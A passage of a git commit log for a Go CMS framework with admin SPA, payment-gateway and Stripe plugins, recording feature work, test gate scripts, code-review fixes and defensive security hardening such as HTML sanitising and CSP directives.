- scripts/check-phase18.1.sh: stages go, plugins, admin, layers, docs, postgres; --self-test; --all
- detectors copied from check-phase18.sh; TAP detector gains a minimum count of passing tests by name prefix
- PHASE181_REQUIRE_POSTGRES makes a missing Docker daemon fatal under --all
- the layer stage never installs: a pnpm store-dir abort prints the offline frozen recovery and fails
2026-10-14 20:27:31 +02:00
Jakub Zych
dbf8aaac74 docs(18.1-05): record plan complete in state and roadmap 2026-10-14 18:42:40 +02:00
Jakub Zych
967c0f870c docs(18.1-05): complete vue-paymentgateway-layer subscription pieces plan (release held) 2026-10-14 18:42:07 +02:00
Jakub Zych
adf983d81b docs(18.1-04): record plan complete in state and roadmap 2026-10-14 18:20:08 +02:00
Jakub Zych
35887109a0 docs(18.1-04): complete pgsub admin screens and customer API plan 2026-10-14 18:19:19 +02:00
Jakub Zych
310c063d38 docs(18.1-03): record plan complete in state and roadmap 2026-10-14 17:54:53 +02:00
Jakub Zych
7b679a9cf3 docs(18.1-03): complete Stripe subscriptions plan 2026-10-14 17:54:13 +02:00
Jakub Zych
1f3e30c00b docs(18.1-02): record plan complete in state and roadmap 2026-10-14 17:28:13 +02:00
Jakub Zych
577f712b0a docs(18.1-02): complete pgsub core plan 2026-10-14 17:27:46 +02:00
Jakub Zych
f9a724bb41 docs(18.1-01): record plan complete in state and roadmap 2026-10-14 16:38:56 +02:00
Jakub Zych
1e18143ef3 docs(18.1-01): complete taglist and flat reorder plan
- release gate reply "hold": v0.1.26 held until plan 06, nothing pushed
2026-10-14 16:38:23 +02:00
Jakub Zych
c3834cb42c feat(18.1-01): task 4 flat reorder in the admin SPA
- ReorderView reads flat from the reorder data; ReorderBranch takes a flat
  prop and shows only move up and move down
- ArrowRight and ArrowLeft do nothing, an inside drop lands after the row
  (tree.ts flatZone, flatMove) and flatten sends parent_id null
- vitest flat cases; docs describe the flat page; rebuilt dist
2026-10-14 16:05:10 +02:00
Jakub Zych
9edff8890f feat(18.1-01): task 3 flat reorder on the server
- config_reorder.yaml without parentColumn on a record with no parent_id
  column compiles as a flat (WinterCMS Sortable) reorder; maxDepth above 0
  on it fails boot, an explicit parentColumn still means a tree
- ListReorder.Flat and AdminReorderTree.Flat (flat, omitempty); flat nodes
  carry parent_id null, a save writes only the sort column, a parent is a
  422 on nodes (reorder.flat_parent); 409 and duplicate rules unchanged
- swag descriptions, OpenAPI and schema.d.ts regenerated
- acme.catalog badges reorder fixture, TestReorderFlatCompile and
  TestReorderFlatSmoke; docs Flat reorder section and cabana README
2026-10-14 15:56:57 +02:00
Jakub Zych
cf63fb3152 feat(18.1-01): task 2 taglist string mode, customTags and all save sites
- string mode: split on the separator (comma or whitespace), normalised,
  stored joined by a comma or one space; null stores an empty string
- customTags false refuses a tag outside options (taglist.not_allowed)
- taglist checked and hydrated on relation forms and settings forms;
  settings bind taglist columns; required checked on the tags
- admin: TaglistField string mode and closed option lists, preview renders
  the tags read-only as a comma-separated list; rebuilt dist
- docs: Taglist section covers both modes, separator and customTags
2026-10-14 15:52:52 +02:00
Jakub Zych
349bad5596 feat(18.1-01): task 1 taglist field in array mode end to end
- cabana: core type taglist (mode string|array, separator, customTags,
  options as a list of tags), column type gate, save-time normalisation
  (trim, drop empties, dedupe) and taglist.invalid 422, record hydration
- FormField gains separator and customTags (omitempty); OpenAPI and
  schema.d.ts regenerated
- admin: TaglistField chip input with suggestions, registry entry, vitest
- acme.catalog fixture with TestTaglistFieldCompile and TestTaglistFieldSmoke
- docs: forms.md Taglist section, cabana README; rebuilt dist
2026-10-14 15:47:30 +02:00
Jakub Zych
43d2fdd54a docs(18.1): record phase planned in state 2026-10-14 14:32:47 +02:00
Jakub Zych
e37ccbeacb docs(18.1): revise plans per checker feedback
Mark RESEARCH open questions and premise shifts resolved by D-15..D-22 and flag the superseded recommendations (S-6, S-7, Pattern 9, five-plan split). Split oversized tasks inside plans 01, 02, 04 and 06 (plan count unchanged per D-22) and record the per-plan trade-off for plans 04 and 06.
2026-10-14 14:31:27 +02:00
Jakub Zych
05bacad997 docs(18.1): create phase plan 2026-10-14 14:05:08 +02:00
Jakub Zych
b1ed92490d docs(18.1): map file patterns to existing analogs 2026-10-14 13:30:39 +02:00
Jakub Zych
0849f98041 docs(18.1): record context amendments from research premise shifts 2026-10-14 13:27:10 +02:00
Jakub Zych
b36acb375a docs(phase-18.1): add validation strategy 2026-10-14 13:19:58 +02:00
Jakub Zych
b30dceeb0e docs(18.1): research phase domain 2026-10-14 13:19:04 +02:00
Jakub Zych
d369549740 docs(roadmap): mark executed phases complete and add missing decimal rows 2026-10-14 11:19:26 +02:00
Jakub Zych
95e011accb docs(phase-18): add security threat verification 2026-10-14 01:32:20 +02:00
Jakub Zych
db55996a08 test(18): persist human verification items as UAT 2026-10-14 00:44:47 +02:00
Jakub Zych
df66d99624 docs(18): phase re-verification report after gap closure 18-08 (human_needed, 11/11) 2026-10-14 00:44:47 +02:00
Jakub Zych
e691b8300b docs(18): record code review disposition after gap closure 18-08 2026-10-14 00:34:32 +02:00
Jakub Zych
195882c39d docs(18): add code review report (re-review after gap closure 18-08) 2026-10-14 00:34:32 +02:00
Jakub Zych
fa773b0b49 docs(18-08): complete Stripe decline gap-closure plan
- 18-08-SUMMARY.md: four sm-pgstripe-plugin commits, 17-subtest TestHostStripeFlow, gate stages, decisions, open follow-ups
- push reply recorded verbatim; sm-pgstripe-plugin main pushed to 0313820, no tag
- STATE and ROADMAP: plan 18-08 complete (8/8), three decisions, session record
2026-10-14 00:21:03 +02:00
d1f39cc109 docs(18): create gap-closure plan 18-08 (Stripe payment_failed is non-terminal) 2026-10-13 18:43:35 +02:00
96f094bcb0 docs(18): phase verification report (gaps_found: Stripe payment_failed rejects a retryable payment) 2026-10-13 18:11:05 +02:00
a591932fee docs(18): add code review report and per-finding disposition
- 48 findings over 106 files (7 critical, 20 warning, 21 info), all open
- reviewed after the v0.1.25 push; advisory
2026-10-13 18:01:01 +02:00
c96001abc1 docs(18): record code review disposition 2026-10-13 18:00:49 +02:00
a377953820 docs(18-07): record the pushed heads and the v0.1.25 tag in the plan summary 2026-10-13 17:48:18 +02:00
2f5e8e3014 docs(18-07): record plan 07 progress in STATE and ROADMAP 2026-10-13 17:47:32 +02:00
8d33af4f22 docs(18-07): complete unit tests and phase gate plan 2026-10-13 17:47:05 +02:00
efdc11647c docs(18-07): record the deferred RegisterDetailsParams reader and a pre-existing gofmt item 2026-10-13 17:35:40 +02:00
63febdde98 docs(18-07): phase 18 validation map validated and Nyquist-compliant
- every per-task row green; Wave 0 and sign-off complete
- gate record: check-phase18.sh --all passed every stage, postgres run on
  a Docker host
- PHP map 72 of 74 (the 2 pgstripe reliability cases are 18.1)
- D-11: no host shop rows supplied; the synthetic fixtures stand in
2026-10-13 17:35:30 +02:00
fc3cb26322 test(18-07): the phase 18 gate requires the Stripe operator suites and every layer spec (task 4)
- plugins stage: TestStripeAuthentication, TestStripeDataHandling,
  TestSDKPin and TestStripeOperator in sm-pgstripe-plugin
- postgres stage: TestStripeSettingsSmoke and TestStripeImportWinterSmoke
  beside TestHostStripeFlow
- layers stage: the ten spec files and all 69 TAP test names
2026-10-13 17:35:02 +02:00
be853996c7 test(18-07): the phase 18 gate requires the payment gateway suites per package (task 3)
- plugins stage: money, fsm, orders, payments, cart, operators, support,
  currency, models, events, console, api and root suites by name (-short)
- postgres stage: every Postgres suite of sm-paymentgateway-plugin,
  the plan 02 to 06 smokes and the new service, bridge, event, migration,
  command and converter suites
2026-10-13 17:24:08 +02:00
0f35c9a0ca test(18-07): framework unit coverage of money, settings secrets, tabs, richeditor and danger actions (task 2)
- money_field_test.go: compile gates (moved from the smoke file and
  extended), model column gate, save-time value check, list projection
- settings secret projection and put without a database; tabs, settings
  richeditor sanitize and the danger flag as internal unit tests
- Postgres: TestMoneyFieldSave, TestSettingsSecretPostgres and the Phase 18
  payload cases of TestPhase10OpenAPIConformance
- vitest: money.ts helpers spec, MoneyField blur-only and server-error cases
- gate arrays and the cabana README Testing section name every test
2026-10-13 16:58:03 +02:00
eb60c329d8 fix(18-07): money accepts trailing zeros beyond the field scale
A scale-2 money field over a four-decimal column (the documented fee
example) was served "12.5000" and answered money.too_precise when the
untouched value was saved back. Trailing zeros carry no precision, so the
server check and the SPA parser count only significant fraction digits;
the value still reaches the column unchanged, never rounded or truncated.

- cabana validateMoneyValue and admin parseMoneyInput trim trailing zeros
  before the scale comparison
- forms docs and cabana README name the rule; embedded dist rebuilt
- MoneyField spec asserts 12.5000 at scale 2 is accepted, 12.5010 refused
2026-10-13 16:53:58 +02:00
5141059026 test(18-07): phase 18 fail-closed gate with one required test per layer and the detector self-test (task 1)
- stages go, plugins, admin, layers, docs, postgres over summercms.go,
  sm-paymentgateway-plugin, sm-pgstripe-plugin and vue-paymentgateway-layer
- go test -json, vitest JSON and TAP detectors refuse fails, skips, empty
  runs and missing required names; --self-test plants each case
- --all reports NOT RUN postgres without Docker; PHASE18_REQUIRE_POSTGRES=1
  makes that a failure
2026-10-13 16:44:59 +02:00
593f67d12d docs(18-06): record plan 06 progress in STATE and ROADMAP 2026-10-13 16:35:02 +02:00
5c1968891c docs(18-06): complete customer API and payment gateway layer plan 2026-10-13 16:35:02 +02:00
25cfb0a4cc docs(18-05): record plan 05 progress in STATE and ROADMAP 2026-10-13 14:59:20 +02:00
3255a815c7 docs(18-05): correct the framework head hashes in the plan summary 2026-10-13 14:58:30 +02:00
623876a166 docs(18-05): complete Stripe operator plugin plan 2026-10-13 14:58:24 +02:00
7252cfd3cd docs(18-04): record plan 04 progress in STATE and ROADMAP 2026-10-13 14:32:25 +02:00
79dd3a0bb1 docs(18-04): complete payment gateway settings and mail plan 2026-10-13 14:31:53 +02:00
21c5618dd1 feat(18-04): settings forms take method-backed dropdown options from the settings model (task 1)
- the settings schema passes the settings model as the DropdownOptionsProvider
- boot refuses a dropdown method on a settings model without DropdownOptions
- cabana README and docs/backend/settings.md describe it
2026-10-13 14:08:14 +02:00
dff931c865 docs(18-03): record plan 03 progress in STATE and ROADMAP 2026-10-13 14:01:50 +02:00
9b193c1c4c docs(18-03): complete payment gateway admin screens plan 2026-10-13 14:01:16 +02:00
49fef6c35a docs(18-02): complete payment gateway domain core plan 2026-10-13 13:20:20 +02:00
Jakub Zych
a22bd8a934 docs(18-02): decision note for the go-hashids dependency
- github.com/speps/go-hashids/v2 v2.0.1 for sm-paymentgateway-plugin (24/24 PHP vectors)
- stripe-go v87.0.0 stays a D-12 decision for sm-pgstripe-plugin; shopspring/decimal indirect only, never money
2026-10-13 12:10:41 +02:00
Jakub Zych
3572030c74 docs(18-01): complete framework admin pieces plan 2026-10-13 11:49:55 +02:00
Jakub Zych
1e841b4281 feat(18-01): write-only settings secrets, richeditor and tabs on settings forms (task 3)
- type: password on a settings form binds a lagoon.Encrypted column as a
  write-only secret (any other column fails boot naming the field): the
  GET omits it from data and reports stored, env or empty per field in
  meta.secrets; on PUT an absent key or "" keeps the value, null clears
  it, a non-string is a 422; the answer never carries a value
- cabana.SecretFallbacks (field to config key) gives the env state;
  cabana.SettingsMeta, SecretStored/SecretEnv/SecretEmpty exported
- settings forms accept richeditor: the Put sanitizes through seaglass
  like a controller save and returns meta.notices; repeater and
  dependsOn stay refused (settingsFormOnly next to controllerFormOnly)
- backend::lang secret.* phrases in en and pl
- admin SPA: PasswordField secret status line (stored with Remove stored
  value, env, empty, pending clear with Undo), SettingsFormView tabs with
  error-tab activation and the secrets/notices meta, settings payload
  that never sends an untouched secret; regenerated OpenAPI and TS
  types; rebuilt dist
- vault fixture, TestSettingsSecretCompile, Docker TestSettingsSecretSmoke
  and TestSettingsRichEditorSmoke, conform settings fixture with a
  password field; settings.md sections, forms.md notes, cabana README
2026-10-13 11:36:12 +02:00
Jakub Zych
0c8605123e feat(18-01): money list column, danger record actions, preview Edit rule and table kit (task 2)
- columns.yaml type: money with currency or currencyFrom (exactly one),
  never searchable, not sortable by default; every list row carries the
  currencyFrom column's value under its own key; the schema serves
  currency and currencyFrom on the column
- pact.AdminRecordAction.Danger, served as danger on cabana.RecordAction
  (absent when false); RecordActions.vue passes it to the confirm dialog
- CellValue money kind through formatMoney with the row's code, the em
  dash when empty and the amount alone without a code; DataTable aligns
  money headers and cells to the right
- PreviewView renders Edit only when a registered value field allows
  update (F6)
- main.css .summer-table* and .summer-stat__note kit classes (F7) over
  --c-* variables; cabana README kit rows
- fixture record actions void (danger) and resend; TestMoneyListCompile,
  TestMoneyListSmoke and TestRecordActionDangerSmoke; regenerated OpenAPI
  and TS types; rebuilt dist; lists-and-filters and admin-controllers docs
2026-10-13 11:22:36 +02:00
Jakub Zych
20385e53ee feat(18-01): add the cabana money field (task 1)
- type: money on fields.yaml with currency or currencyFrom, scale (2..4,
  default 4) and max; boot fails naming the field on two sources, none,
  a bad scale or max, a column that is not a string or a Scanner/Valuer,
  or a currencyFrom that is not a string column
- a save answers 422 money.invalid, money.too_precise or money.too_large
  on the field and fills the accepted decimal string unchanged; the same
  check runs on controller, settings and relation child saves
- backend::lang money.* phrases in en and pl
- admin SPA: money.ts (parseMoneyInput, trimMoneyDisplay, formatMoney over
  Intl with the string itself), MoneyField.vue with the currency suffix,
  blur validation and the read-only box, preview through the control,
  the field scope on PreviewView; regenerated OpenAPI and TS types,
  rebuilt modules/boardwalk/dist
- acme.payments fixture with TestMoneyFieldCompile and the Docker
  TestMoneyFieldSmoke; forms.md Money section and cabana README
2026-10-13 11:15:05 +02:00
Jakub Zych
99ccae232c docs(18): create phase plan 2026-10-13 05:17:07 +02:00
Jakub Zych
79b1f85564 docs(phase-17): update security threat verification (T-17-15 closed, 0 open) 2026-10-13 01:23:04 +02:00
Jakub Zych
faa749f5a9 docs(quick-261013-0wa): close T-17-15 in the sitemap frontend_url rewrite 2026-10-13 01:03:05 +02:00
Jakub Zych
6e5a8e761f test(17): require the sitemap review-fix and T-17-15 tests by name 2026-10-13 01:00:17 +02:00
Jakub Zych
3a101cc6e1 docs(18): amend D-09 to scale-4 int64 money after plan-count checkpoint 2026-10-13 00:35:13 +02:00
Jakub Zych
7fa648dcaf docs(phase-17): add security threat verification (1 open: T-17-15) 2026-10-13 00:25:42 +02:00
c21d1135b0 docs(18): approve UI design contract and close probe gaps
Checker approved 6/7 PASS + spacing FLAG. Post-verification probe re-run raised 109 pairs; uncovered ones added, PgCart hides Remove on the last item.
2026-10-12 22:45:52 +02:00
8e55dc2837 docs(17): match fix report headings to the review titles 2026-10-12 21:50:05 +02:00
e990524732 docs(17): record code review disposition 2026-10-12 21:50:02 +02:00
1298bfd222 docs(17): record code review disposition 2026-10-12 21:49:51 +02:00
138631fe51 docs(17): add code review fix report 2026-10-12 21:49:38 +02:00
d9d6b267ec test(17): WR-07 keep the phase 17 gate's required singleton test name 2026-10-12 21:45:16 +02:00
27bb13b4cb build(17): rebuild admin dist with the reorder save queue and singleton list redirect (WR-02, WR-07) 2026-10-12 21:43:44 +02:00
9d7c21d800 fix(17): WR-07 open a singleton's record from its list route
A settings link to a singleton controller only worked on a plain left
click; a new tab landed on the list route, which answers 404, and every
non-singleton link paid an extra /singleton request. The settings index
now links like any controller link, and the list view opens the
controller's one record when its list answers 404 and the singleton
route answers an id.
2026-10-12 21:43:07 +02:00
fb10b06b21 docs(18): UI design contract 2026-10-12 21:35:51 +02:00
e1ac983f1c fix(17): WR-02 keep one reorder save in flight and ignore stale responses
A move made while a save runs is queued and sent after it settles, so
out-of-order completion can no longer leave the database on an older tree
than the screen. A failure that a waiting save supersedes keeps the later
moves, and a response tied to an earlier load or partition leaves the
current tree and its last saved state alone.
2026-10-12 21:32:56 +02:00
964f1a7f11 fix(17): CR-01 ignore an item URL pattern override that is not a path
signpost.Registry.Pattern now takes an item override only when it starts
with a single "/" and holds no surrounding whitespace or control
characters (signpost.ValidItemPattern); a javascript: URL or a
protocol-relative //host falls through to the next layer.
2026-10-12 21:25:30 +02:00
d3a7f798f0 docs(17): add code review report 2026-10-12 21:23:10 +02:00
ce088855ee docs(quick-261012-s3g): Phase 10 security blockers plan, summary and deferred fonoteka.go route allowlist 2026-10-12 21:07:05 +02:00
708b3ec581 docs(10): refresh security review evidence after the DOMPurify fix (T-10-16, T-10-24) 2026-10-12 21:05:09 +02:00
f269d886f1 build(quick-261012-s3g): rebuild admin dist with the DOMPurify display sanitizer 2026-10-12 20:41:50 +02:00
2343788624 fix(boardwalk): add form-action and frame-src to the admin CSP
- form-action 'self': injected markup cannot post a native form off-origin
- frame-src 'none': no framed content; a sandboxed srcdoc preview is not
  fetched and still renders
- header tests, README and admin-spa docs name the directives
2026-10-12 20:41:21 +02:00
71bd614a95 test(admin): import the reorder modules by path
- the reorder route renders ReorderView with a ReorderBranch per level
- ReorderBranch renders nodes from the REORDER_PAGE context and moves
  through it
2026-10-12 20:40:24 +02:00
fd46d475a2 fix(scripts): green check-phase10 hygiene after Phase 17 and run it from check-phase17 (T-10-24, T-10-25)
- line-exact, path-bound T-17-10 raw-HTML exceptions for the RichEditorField
  read-only display and the inert template parse in lossy.ts
- dist-origin allow-list adds the never-requested literals
  https://prosemirror.net and https://admin.invalid
- self-test plants: the display line in another file, a template parse
  elsewhere, a foreign origin in the dist JS
- --spa also runs the Vitest browser suite, fail-closed
- check-phase17: browser-suite required names in the admin stage, Phase 10
  hygiene in the docs stage, asserted by its self-test
2026-10-12 20:40:24 +02:00
c1d767f0f8 fix(admin): sanitize the richeditor read-only display with DOMPurify (T-10-16)
- displayHtml uses a dedicated DOMPurify 3.4.16 instance: EDITOR_TAGS, href
  only on <a> through isAllowedLink, DROPPED elements go with their content
- string in, string out: parsed into DOMPurify's inert document, nothing
  adopted into the live document before binding
- fails closed (empty string) unless isSupported and a fixed canary hold
- Vitest browser mode in Playwright Chromium (npm run test:browser) covers
  the clobbering vectors, off-origin form, iframe, meta refresh, links and
  the inert parse; happy-dom keeps engine-independent assertions
2026-10-12 20:35:57 +02:00
fba15c9378 docs(quick-261012-s3g): decision note naming DOMPurify and Vitest browser mode for the admin 2026-10-12 20:31:34 +02:00
b30317b2fb docs(phase-18): add validation strategy 2026-10-12 20:27:30 +02:00
3db1419f58 docs(phase-18): research the payment gateway port 2026-10-12 20:27:30 +02:00
2d1f494748 docs(phase-10): add security threat verification 2026-10-12 20:10:44 +02:00
16211fa9eb docs(phase-12.1): add security threat verification 2026-10-12 19:59:46 +02:00
073fd129f9 docs(17-06): advance state and roadmap after the unit tests and phase gate plan 2026-10-12 19:54:11 +02:00
3a0c4f72d7 docs(17-06): summary of the unit tests and phase gate plan 2026-10-12 19:53:26 +02:00
31adf71b82 docs(17-06): deferred items from the unit tests plan 2026-10-12 19:51:33 +02:00
2274cd6b9b docs(17-06): fill the phase 17 validation map from the gate run 2026-10-12 19:51:07 +02:00
ed67e41a70 test(17-06): gate requires every layer test by name 2026-10-12 19:50:13 +02:00
b4e2232da3 docs(phase-12): add security threat verification 2026-10-12 19:49:41 +02:00
40b89ad00d test(17-06): gate requires the plugin and host suites
The plugins stage runs the Docker-free Journal, sitemap, menu, FAQ and
host tests by name per package; the postgres stage adds TestMenuItemTypes,
TestImportWinter, TestMenuEntryBeforeSave, TestMenuAPI, TestMenuImport,
TestFaqAPI and TestFaqImport.
2026-10-12 19:44:54 +02:00
f622b686ae docs(phase-14.1): add security threat verification 2026-10-12 19:38:28 +02:00
6312929148 fix(17-06): singleton route retries a lost first-or-create race
Two first requests to GET .../singleton both missed the record; the
loser's insert hit the unique index and the route answered 500. A
unique violation from SingletonRecord now reruns the transaction once,
which finds the winner's record. TestSingleton fires six concurrent
first requests and requires 200 with the same id from each.
2026-10-12 19:31:01 +02:00
91593da1f7 test(17-06): framework and admin SPA unit tests for the blog companions
- signpost: activation refusals, host overrides, D-02 pattern layers
  incl. PatternFrom, ReferenceOptions depths
- seaglass: removal report, bluemonday bypass corpus, Check
- pact Option.Depth omitempty and the menu item type contracts; party
  activates menu item types after Register and before the first Boot
- cabana: repeater compile and decode, dependsOn compile and recheck,
  richeditor keys and notices, reorder and singleton boot checks
  (Docker-free); repeater save, dependent recheck, richeditor save,
  reorder and singleton routes on Postgres; conformance cases for the
  documented 404, 409 and 422 answers of the new routes
- admin: richeditor value contract, link popover, notices and chunk
  failure; repeater bounds, remove and reorder, collapsed rows;
  dependent dropdown states and last request wins; reorder
  announcements, partition switch and tree rules; SingletonForm spec
- gate: required names in the go, admin and postgres stages
2026-10-12 19:29:37 +02:00
490a4e3e6a test(17-06): phase 17 gate with one contract test per layer
- scripts/check-phase17.sh: stages go, plugins, admin, layers, docs and
  postgres across the framework, four plugin repositories, the host and
  both layers; go test -json, vitest JSON and TAP detectors, required
  layer test files, --self-test, --all with NOT RUN postgres and
  PHASE17_REQUIRE_POSTGRES
- TestRegistryDuplicateKey: a duplicate key fails Activate naming both
  plugin IDs, nothing is published
- TestSanitizeByteStable: clean editor HTML comes back byte for byte
2026-10-12 19:03:21 +02:00
374834b307 docs(17-05): link the site cache purge todo to g15office zugdxorb 2026-10-12 18:57:21 +02:00
ee898b96d0 docs(17-05): advance state and roadmap after the blog companions site integration plan 2026-10-12 18:56:37 +02:00
134e6640f1 docs(17-05): summary of the blog companions site integration plan 2026-10-12 18:55:47 +02:00
2440560f7c docs(17-05): deferred items from the UAT companions deploy 2026-10-12 18:36:09 +02:00
7290d8f47b docs(17-05): todo for a site cache purge on menu and FAQ saves 2026-10-12 18:34:02 +02:00
af02e6ce3e docs(phase-13): add security threat verification 2026-10-12 18:24:04 +02:00
4ee2698700 docs(17-04): advance state and roadmap after the FAQ and menu plugins plan 2026-10-12 17:54:49 +02:00
b3ae1d0b9e docs(17-04): summary of the FAQ and menu plugins plan 2026-10-12 17:54:03 +02:00
b1213e1250 docs(17-03): advance state and roadmap after the Journal types and sitemap plan 2026-10-12 17:16:49 +02:00
362e1a730d docs(17-03): summary of the Journal menu item types and sitemap plugin plan 2026-10-12 17:15:58 +02:00
3e5a12c3ad docs(phase-09): add security threat verification 2026-10-12 16:59:46 +02:00
5caab279b1 docs(phase-08): add security threat verification 2026-10-12 16:40:55 +02:00
ad726b07fd docs(phase-06): add security threat verification 2026-10-12 16:39:03 +02:00
5fce70bea9 docs(17-02): advance state and roadmap after the admin SPA plan 2026-10-12 16:37:02 +02:00
7bc1433f77 docs(17-02): summary of the admin SPA companions plan and the v0.1.23 release 2026-10-12 16:36:45 +02:00
e2a9529810 docs(phase-16.3): update security threat verification 2026-10-12 16:34:39 +02:00
b519c9c320 docs(phase-16.3): add security threat verification 2026-10-12 16:28:58 +02:00
4ef5c0513f docs(17-02): log deferred items found in the admin SPA plan 2026-10-12 16:22:08 +02:00
01bcd3efa4 build(17-02): rebuild admin dist with the reorder page and singleton form 2026-10-12 16:18:32 +02:00
872fd6535f feat(17-02): tree reorder page and singleton form in the admin
- ReorderView: indented tree with drag handle, move up/down, outdent and
  indent (buttons and arrow keys on the handle), pointer drag before, after
  or inside a row and never into its own subtree; one POST with the whole
  node set 400 ms after the last move, flushed on leave; a failed save
  restores the saved tree, a 409 reloads; loading, empty, load-failure and
  403 states; partition selector
- ListView: outline Reorder button before New record, passing the filtered
  partition
- SettingsIndexView opens a singleton controller's record through
  GET …/singleton; FormView in singleton mode has no Delete and returns to
  the settings index
- reorder.* and messages.list.reorder phrase keys (en, pl), smoke spec, docs
2026-10-12 16:18:31 +02:00
204149ccd2 build(17-02): rebuild admin dist with the repeater and dependent dropdown 2026-10-12 16:08:23 +02:00
d3bf5d8f86 feat(17-02): repeater field and dependent dropdown states
- RepeaterField: rows with drag handle, index, titleFrom title, error chip,
  move up/down (buttons, ArrowUp/ArrowDown on the handle, native drag and
  drop), expand/collapse, remove (asks only for a row holding a value),
  add with nested defaults, maxItems counter, empty state, collapse all;
  every change edits form state only
- 422 row paths (content.3.answer) open the row, mark it and focus the
  nested control; the banner no longer repeats row messages
- DropdownField dependsOn: waiting, loading, not used, empty, loaded with
  depth indent, failed with retry; cached per sibling value, last request
  wins, a stale value is cleared after a sibling change and announced
- FormView provides form feedback (errors and notices by row path, the
  polite live region, its confirm dialog) and the options cache; FormGrid
  provides the sibling scope for repeater rows
- repeater.* and form.dependent_* phrase keys (en, pl), smoke specs, docs
2026-10-12 16:08:23 +02:00
4a5e896429 build(17-02): rebuild admin dist with the richeditor field
TipTap is its own lazily loaded chunk (assets/editor-*.js).
2026-10-12 15:57:03 +02:00
cb2987c146 feat(17-02): richeditor field on TipTap with the untouched rule
- RichEditorField: Reka toolbar, link popover with the http/https/mailto/tel
  and relative URL policy, Edit HTML view, lossy note, skeleton while the
  lazily imported TipTap chunk loads, HTML view fallback when it fails
- untouched values are submitted byte-identical; after an edit the value is
  the editor HTML (empty paragraph -> ""); a value from outside (the save's
  sanitized answer) reloads the editor
- read-only renders through a client display allowlist, never as stored
- TipTap 3.31.4 (core, pm, starter-kit) pinned exact after the package check
- richeditor.* phrase keys (en, pl), smoke specs, forms docs
2026-10-12 15:56:59 +02:00
2181c2b5f6 docs(17-01): record plan progress in STATE and ROADMAP 2026-10-12 15:38:15 +02:00
000c9aee6e docs(17-01): complete framework Go plan summary 2026-10-12 15:37:21 +02:00
23f33c3911 feat(17-01): tree reorder page and singleton admin controllers
- cabana: config_reorder.yaml (title, nameFrom, modelClass, parentColumn,
  sortColumn, maxDepth, partition) with fail-loud boot checks and the
  built-in reorder toolbar button; list schema carries reorder
- GET/POST {controller}/reorder: scoped set (ListExtendQuery plus the
  partition) locked FOR UPDATE, 409 reorder_stale on any set difference,
  422 for duplicates, foreign parents, cycles and maxDepth, both columns
  written without model hooks
- pact.AdminSingleton: GET {controller}/singleton (first or create, form
  scope checked), form schema singleton, list/create/bulk/delete 404,
  no config_list.yaml needed
- swag, inventories, token classes, CSRF walk, conformance cases, backend
  lang reorder.stale and load_failed, reorder and singleton smoke tests, docs
2026-10-12 15:35:43 +02:00
46835fd064 feat(17-01): repeater field type and the dependent dropdown save recheck
- cabana: type repeater with nested form.fields (text, textarea, number,
  checkbox, switch, dropdown, richeditor), prompt, minItems, maxItems,
  titleFrom; groups, style, nested repeaters and other types fail boot
- rows decoded before projection: only nested keys, coerced scalars,
  per-row required (field.index.nested), row bounds; ProjectWritableFields
  exempts repeater lists only, nestedValue unchanged
- nested richeditor values sanitized with notices under the row path
- dependent dropdowns rechecked on save, top level and per row; null when
  the sibling takes no choice, 422 form.dependent_invalid otherwise
- dependent-options accepts repeater.field; schema carries RepeaterForm
- backend lang repeater.max_items, repeater.min_items,
  form.dependent_invalid; TestCompanionsRepeaterSmoke; docs
2026-10-12 15:24:01 +02:00
71fa597830 feat(17-01): richeditor field type on the seaglass sanitizer
- seaglass (new module): bluemonday v1.0.27 policy ported from Journal
  without the Blog Editor rules, byte-stable token comparison,
  SanitizeReport, Sanitize, Check, Removals
- cabana: type richeditor (common keys plus size); every create and update
  value sanitized before Fill, non-string values are a 422, removals become
  meta.notices; settings and relation forms refuse the type
- backend lang richeditor.removed_* and markup_changed (en, pl plurals)
- TestSeaglassSmoke, TestCompanionsRichEditorSmoke, README and docs
2026-10-12 15:15:38 +02:00
69bb1cc95d docs(17-01): decision note naming bluemonday v1.0.27 for the framework sanitizer 2026-10-12 15:09:52 +02:00
0cdff4c258 feat(17-01): menu item type registry and dependent dropdown binding
- pact: HasMenuItemTypes, MenuItemType, MenuItemReference, MenuItemResolve,
  ResolvedMenuItem, MenuItemAlternate, DependentOptionsProvider,
  DependentOptionSet; Option gains Depth (omitempty)
- signpost (new module): boot-time registry with fail-loud key and pattern
  checks, layered URL patterns incl. PatternFrom for list types, host
  overrides at menu_items.patterns, Resolve and ReferenceOptions
- party: signpost.Activate after postcard, before Boot
- cabana: dependsOn on dropdowns (boot checks, controller-only), GET
  fields/{field}/dependent-options with swag, inventories, conformance case
- companions fixture, TestSignpostSmoke, TestCompanionsDependentSmoke, docs
2026-10-12 15:09:14 +02:00
9016e2a6fd docs(phase-14.2): evolve PROJECT.md after phase completion 2026-10-12 13:03:39 +02:00
3d42d35c8a docs(phase-14.2): complete phase execution 2026-10-12 13:03:03 +02:00
55476db582 docs(14.2): record human verification, D-02 and D-12 amendments 2026-10-12 13:02:13 +02:00
2e6a72b6e9 docs(14.2): add phase verification 2026-10-12 12:42:51 +02:00
0ce57fbe4e docs(14.2): reconcile WR-04 in the review disposition 2026-10-12 12:23:20 +02:00
8336b393b3 docs(14.2): record code review disposition 2026-10-12 12:23:20 +02:00
6f9302a8d4 docs(14.2): record code review disposition 2026-10-12 12:23:10 +02:00
fb0d051f90 docs(14.2): add code review fix report 2026-10-12 12:23:09 +02:00
a082a0583d fix(14.2): WR-08 request record check reads the whole log tail
tail | grep -q under pipefail refused a long go.log that had records: grep
stopped at the first match and tail died of SIGPIPE. Count the matches
instead. New self-test case: a 20000-line log after an early record.
2026-10-12 12:05:07 +02:00
f70a0a59d6 fix(14.2): WR-08 gate self-test: dev-stack refuses the request log off
Planted env files through dev-stack.sh exec: unset SUMMER_HTTP__ACCESS_LOG
and SUMMER_STORAGE__UPLOADS__SERVE default to true; false or 0 is refused.
2026-10-12 11:28:22 +02:00
1fb3fb9ac1 fix(14.2): WR-08 go.log scan fails closed without request records
With SUMMER_HTTP__ACCESS_LOG off the Go log has no http request records,
and the 5xx scan passed on an empty signal. scan_go_log now also refuses
unless the part of go.log written during this --e2e run (after the offset
taken once the stack is up) has an http request record. Self-test cases:
no records, an empty log, records only before the offset.
2026-10-12 11:27:44 +02:00
3159bc109b fix(14.2): WR-07 gate restarts a stale stack and requires fresh
--e2e reused any running stack, so Playwright and the go.log scan could
exercise a binary built before the commits under review. A running stack
that dev-stack.sh fresh refuses is now stopped and started again (and left
running), and fresh must pass after up --detach. The self-test plants an
app and framework tree: a newer source or a missing stamp must be
